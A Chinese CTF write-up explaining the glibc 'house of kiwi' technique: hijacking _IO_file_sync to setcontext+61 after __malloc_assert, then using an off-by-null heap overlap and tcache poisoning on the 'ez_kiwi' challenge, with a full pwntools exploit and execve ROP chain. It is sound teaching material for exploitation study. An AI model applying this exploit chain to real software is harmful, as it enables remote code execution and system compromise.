这次要说的是house系列之house of kiwi,这个手法呢相信很多大佬都已经写过相应的文章,本菜鸟本着学习这个手法,做此文章。
适用范围是
libc2.29之后的高版本
 
能够触发__malloc_assert
 
能够任意地址写
·修改_IO_file_jumps中指向的_IO_file_sync**(**[_IO_file_jumps+0x60]将其修改为setcontext+61)
·修改setcontext+61( mov     rsp,QWORD PTR [rdx+0xa0])[rdx+0xa0]的地址 修改为ROP
·修改setcontex+294(mov     rcx,QWORD PTR [rdx+0xa8])[rdx+0xa8]的地址 修改为ret
 
 
下面是我解释修改的原因
当我们成功触发_malloc_assert之后,会调用fflush(stderr)函数,里面会call[rbp+0x60] (rbp+60就是 _IO_file_sync)
当我们进入_IO_fille_sync之后发现寄存器rdx上面的值是一个定值( _IO_helper_jumps)
好巧不巧的是setcontext + 61从2.29之后变为由RDX寄存器控制寄存器了,又因为RDX始终是一个固定的地址IO_helper_jumps ,那这里就有人有疑问了,修改rdx寄存器上的值有啥用呢,我们来看看setcontext+61这一部分的汇编
0x7f8dfcbac0dd <setcontext+61>:	mov    rsp,QWORD PTR [rdx+0xa0] 0x7f8dfcbac0e4 <setcontext+68>:	mov    rbx,QWORD PTR [rdx+0x80] 0x7f8dfcbac0eb <setcontext+75>:	mov    rbp,QWORD PTR [rdx+0x78] 0x7f8dfcbac0ef <setcontext+79>:	mov    r12,QWORD PTR [rdx+0x48] 0x7f8dfcbac0f3 <setcontext+83>:	mov    r13,QWORD PTR [rdx+0x50] 0x7f8dfcbac0f7 <setcontext+87>:	mov    r14,QWORD PTR [rdx+0x58] 0x7f8dfcbac0fb <setcontext+91>:	mov    r15,QWORD PTR [rdx+0x60] 0x7f8dfcbac0ff <setcontext+95>:	test   DWORD PTR fs:0x48,0x2 0x7f8dfcbac10b <setcontext+107>:	je     0x7f8dfcbac1c6 <setcontext+294> 0x7f8dfcbac111 <setcontext+113>:	mov    rsi,QWORD PTR [rdx+0x3a8] 0x7f8dfcbac118 <setcontext+120>:	mov    rdi,rsi 0x7f8dfcbac11b <setcontext+123>:	mov    rcx,QWORD PTR [rdx+0x3b0] 0x7f8dfcbac122 <setcontext+130>:	cmp    rcx,QWORD PTR fs:0x78 0x7f8dfcbac12b <setcontext+139>:	je     0x7f8dfcbac165 <setcontext+197> 0x7f8dfcbac12d <setcontext+141>:	mov    rax,QWORD PTR [rsi-0x8] 0x7f8dfcbac131 <setcontext+145>:	and    rax,0xfffffffffffffff8 0x7f8dfcbac135 <setcontext+149>:	cmp    rax,rsi 0x7f8dfcbac138 <setcontext+152>:	je     0x7f8dfcbac140 <setcontext+160> 0x7f8dfcbac13a <setcontext+154>:	sub    rsi,0x8 0x7f8dfcbac13e <setcontext+158>:	jmp    0x7f8dfcbac12d <setcontext+141> 0x7f8dfcbac140 <setcontext+160>:	mov    rax,0x1 0x7f8dfcbac147 <setcontext+167>:	incsspq rax 0x7f8dfcbac14c <setcontext+172>:	rstorssp QWORD PTR [rsi-0x8] 0x7f8dfcbac151 <setcontext+177>:	saveprevssp  0x7f8dfcbac155 <setcontext+181>:	mov    rax,QWORD PTR [rdx+0x3b0] 0x7f8dfcbac15c <setcontext+188>:	mov    QWORD PTR fs:0x78,rax 0x7f8dfcbac165 <setcontext+197>:	rdsspq rcx 0x7f8dfcbac16a <setcontext+202>:	sub    rcx,rdi 0x7f8dfcbac16d <setcontext+205>:	je     0x7f8dfcbac18c <setcontext+236> 0x7f8dfcbac16f <setcontext+207>:	neg    rcx 0x7f8dfcbac172 <setcontext+210>:	shr    rcx,0x3 0x7f8dfcbac176 <setcontext+214>:	mov    esi,0xff 0x7f8dfcbac17b <setcontext+219>:	cmp    rcx,rsi 0x7f8dfcbac17e <setcontext+222>:	cmovb  rsi,rcx 0x7f8dfcbac182 <setcontext+226>:	incsspq rsi 0x7f8dfcbac187 <setcontext+231>:	sub    rcx,rsi 0x7f8dfcbac18a <setcontext+234>:	ja     0x7f8dfcbac17b <setcontext+219> 0x7f8dfcbac18c <setcontext+236>:	mov    rsi,QWORD PTR [rdx+0x70] 0x7f8dfcbac190 <setcontext+240>:	mov    rdi,QWORD PTR [rdx+0x68] 0x7f8dfcbac194 <setcontext+244>:	mov    rcx,QWORD PTR [rdx+0x98] 0x7f8dfcbac19b <setcontext+251>:	mov    r8,QWORD PTR [rdx+0x28] 0x7f8dfcbac19f <setcontext+255>:	mov    r9,QWORD PTR [rdx+0x30] 0x7f8dfcbac1a3 <setcontext+259>:	mov    r10,QWORD PTR [rdx+0xa8] 0x7f8dfcbac1aa <setcontext+266>:	mov    rdx,QWORD PTR [rdx+0x88] 0x7f8dfcbac1b1 <setcontext+273>:	rdsspq rax 0x7f8dfcbac1b6 <setcontext+278>:	cmp    r10,QWORD PTR [rax] 0x7f8dfcbac1b9 <setcontext+281>:	mov    eax,0x0 0x7f8dfcbac1be <setcontext+286>:	jne    0x7f8dfcbac1c3 <setcontext+291> 0x7f8dfcbac1c0 <setcontext+288>:	push   r10 0x7f8dfcbac1c2 <setcontext+290>:	ret 
 
里面基本全是mov,而且基本上都是 rdx+~~对别的寄存器的赋值,并且rdx寄存器的值是不变的,再看里面最重要的几条汇编
0x7f8dfcbac0dd <setcontext+61>:	mov    rsp,QWORD PTR [rdx+0xa0] 0x7f8dfcbac1a3 <setcontext+259>:	mov    r10,QWORD PTR [rdx+0xa8] 0x7f8dfcbac1c0 <setcontext+288>:	push   r10 0x7f8dfcbac1c2 <setcontext+290>:	ret 
 
我们可以发现,当我们正确控制[rdx+0xa0]和[rdx+0xa8]就等于说劫持了执行流。
我们再来理一下思路,原来正常触发_malloc_assert之后,
fflush–_IO_file_sync….后面退出
但是我们修改之后
fflush–setcontext+0x61–我们所控制的执行流。
威力太大了吧。
话不多说来道例题
题目链接 
这是一个2.31的堆题
漏洞呢主要是在edit中存在单字节溢出
但是这个难就难在了他主动清空可用hook
因此用普通的打hook方式是行不通的,但是这个可以给你申请一个很大的堆块,我们经过溢出很容易就能造成__malloc_assert,因此用offbynull打堆块重叠泄露libc并造成任意地址写打house of kiwi,一气呵成。
将_IO_file_jumps中的_IO_file_sync修改为setcontext + 61的地址,让程序执行setcontext+61中的代码;同时修改_IO_helper_jumps + 0xa0 和 _IO_helper_jumps + 0xa8分别存放有ROP的位置和ret指令的gadget位置(_IO_helper_jumps 是RDX寄存器的值,setcontext最终会先执行 rdx+0xa8紧接着执行rdx+0xa0,具体原因调试便知)。
首先,我们先泄露堆块地址
for  i in  range (6 ):    add(0xf8 ,i,b"\x00" ) add(0xf8 ,7 ,b"a" ) add(0xf8 ,8 ,b"a" ) add(0xf8 ,9 ,b"a" ) add(0xf8 ,6 ,b"a" ) delete(1 ) delete(0 ) add(0xf8 ,0 ,b"a" ) show(0 ) p.recvuntil(b"\x20" ) leak=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x8d0 +0x56f  print (hex (leak))add(0xf8 ,1 ,b"\x00" ) 
 
然后利用off by null造成堆块重叠
edit(7 ,p64(0 )+p64(0x1f1 )+p64(leak+0x875 +0x5b )+p64(leak+0x875 +0x5b )) edit(8 ,b"a" *0xf0 +p64(0x1f0 )+b"\x00" ) for  i in  range (6 ):    delete(i) delete(6 ) delete(9 ) 
 
2.31的off by null额外做了一个检查
高版本的offbynull额外做的检查是,会对将要被合并的堆块(A)的size的和下下一个堆块(C)的presize比较是否相等,绕过这个检查可以在A堆块里面伪造一个堆块,使其size=堆块c+堆块b,这样就能绕过检查进行合并
注意我们这里的0xf8这个size可不是随便起的,因为申请0xf8大小的堆块,size是0x101,由于我们要将对堆块C的最低位改成零,而我们刚好能溢出“\x00” ,所以0xf8是刚刚好的
重叠前:
重叠后:
这样一来,就造成了堆块重叠,然后,我们再申请并释放两个相同size的堆块,并且把第二个堆块的fd指针修改成想要修改的目标地址。再申请回来目的是让程序将**_IO_file_jumps+96识别成一个堆块,然后再修改 _IO_file_jumps+96**里面的内容,这样就完成了任意地址修改。
add(0x40 ,1 ,b"a" ) add(0x40 ,2 ,b"a" ) show(1 ) p.recvuntil(b"\x20" ) libc=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x1ebe61  _IO_file_jumps=libc+0x1ed4a0  IO_helper_jumps = libc + 2017632  - 0xc0  setcontext=libc+0x580a0  print (hex (libc))delete(2 ) delete(1 ) edit(7 ,p64(0 )+p64(0x51 )+p64(_IO_file_jumps+96 )*2 ) add(0x40 ,1 ,b"a" ) add(0x40 ,2 ,b"a" ) edit(2 ,p64(setcontext+61 )) 
 
然后我们在某个堆块内布置rop,使其执行**execve(“/bin/sh”,0,0)**。
ret = libc + 0x25679  pop_rax = libc + 0x4a550  pop_rdi = libc + 0x26b72  pop_rsi = libc + 0x27529  pop_rdx_r12 = libc + 0x11c371  syscall = libc + 0x2584d  rop = p64(pop_rdx_r12) + p64(0 ) + p64(0 ) + p64(pop_rsi) + p64(0 ) + p64(pop_rdi)  rop += p64(leak+0xbd0 ) +p64(pop_rax) + p64(0x3b ) +p64(syscall) add(0x80 ,4 ,rop) 
 
同样的,我们再用相同的方法修改_IO_helper_jumps + 0xa0 和 _IO_helper_jumps + 0xa8的值
add(0x40 ,3 ,b"a" ) delete(3 ) delete(1 ) edit(7 ,p64(0 )+p64(0x51 )+p64(IO_helper_jumps+0xa0 )*2 ) add(0x40 ,1 ,b"a" ) add(0x40 ,3 ,b"a" ) edit(3 ,p64(leak+0x9d0 )+p64(ret))  
 
最后触发**_malloc_assert**,并写下/bin/sh
exp:
from  pwn import *context.log_level='debug'  p=process('./ez_kiwi' ) elf = ELF('ez_kiwi' ) libc = ELF('libc.so.6' ) p.sendlineafter(b'give me your name:\n' , b'\x00' ) def  add (size,index,content ):    p.sendlineafter(b'>>' , b'1' )     p.sendlineafter(b'How much do you want?' , str (size).encode())     p.sendlineafter(b'Which one do you want to put?' , str (index).encode())     p.sendafter(b'Tell me your idea:' , content) def  delete (index ):    p.sendlineafter(b'>>' , b'2' )     p.sendafter(b'Which one do you want to remove?' , str (index).encode()) def  show (index ):    p.sendlineafter(b'>>' , b'3' )     p.sendafter(b'Which one do you want to look?' , str (index).encode()) def  edit (index,content ):    p.sendlineafter(b'>>' , b'4' )     p.sendlineafter(b'Which one do you want to change?' , str (index).encode())     p.sendlineafter(b'Change your idea:' , content) gdb.attach(p) for  i in  range (6 ):    add(0xf8 ,i,b"\x00" ) add(0xf8 ,7 ,b"a" ) add(0xf8 ,8 ,b"a" ) add(0xf8 ,9 ,b"a" ) add(0xf8 ,6 ,b"a" ) delete(1 ) delete(0 ) add(0xf8 ,0 ,b"a" ) show(0 ) p.recvuntil(b"\x20" ) leak=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x8d0 +0x56f  print (hex (leak))add(0xf8 ,1 ,b"\x00" ) edit(7 ,p64(0 )+p64(0x1f1 )+p64(leak+0x875 +0x5b )+p64(leak+0x875 +0x5b )) edit(8 ,b"a" *0xf0 +p64(0x1f0 )+b"\x00" ) for  i in  range (6 ):    delete(i) delete(6 ) delete(9 ) pause() add(0x40 ,1 ,b"a" ) add(0x40 ,2 ,b"a" ) show(1 ) p.recvuntil(b"\x20" ) libc=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x1ebe61  _IO_file_jumps=libc+0x1ed4a0  IO_helper_jumps = libc + 2017632  - 0xc0  setcontext=libc+0x580a0  print (hex (libc))delete(2 ) delete(1 ) edit(7 ,p64(0 )+p64(0x51 )+p64(_IO_file_jumps+96 )*2 ) add(0x40 ,1 ,b"a" ) add(0x40 ,2 ,b"a" ) edit(2 ,p64(setcontext+61 )) add(0x40 ,3 ,b"a" ) delete(3 ) delete(1 ) edit(7 ,p64(0 )+p64(0x51 )+p64(IO_helper_jumps+0xa0 )*2 ) add(0x40 ,1 ,b"a" ) add(0x40 ,3 ,b"a" ) ret = libc + 0x25679  pop_rax = libc + 0x4a550  pop_rdi = libc + 0x26b72  pop_rsi = libc + 0x27529  pop_rdx_r12 = libc + 0x11c371  syscall = libc + 0x2584d  rop = p64(pop_rdx_r12) + p64(0 ) + p64(0 ) + p64(pop_rsi) + p64(0 ) + p64(pop_rdi)  rop += p64(leak+0xbd0 ) +p64(pop_rax) + p64(0x3b ) +p64(syscall) add(0x80 ,4 ,rop) edit(3 ,p64(leak+0x9d0 )+p64(ret)) add(0x18 ,5 ,b"a" ) add(0xf8 ,6 , b'a' ) payload = b'/bin/sh\x00'  * 2  +p64(0xdadabeff )*29  edit(6 , payload) p.sendlineafter(b'>>' , b'666' ) p.interactive() 
 
参考大佬:
Dest0g3 520迎新赛 pwn ez_kiwi - xtxtn’s Blog 
House OF Kiwi-安全客 - 安全资讯平台 (anquanke.com)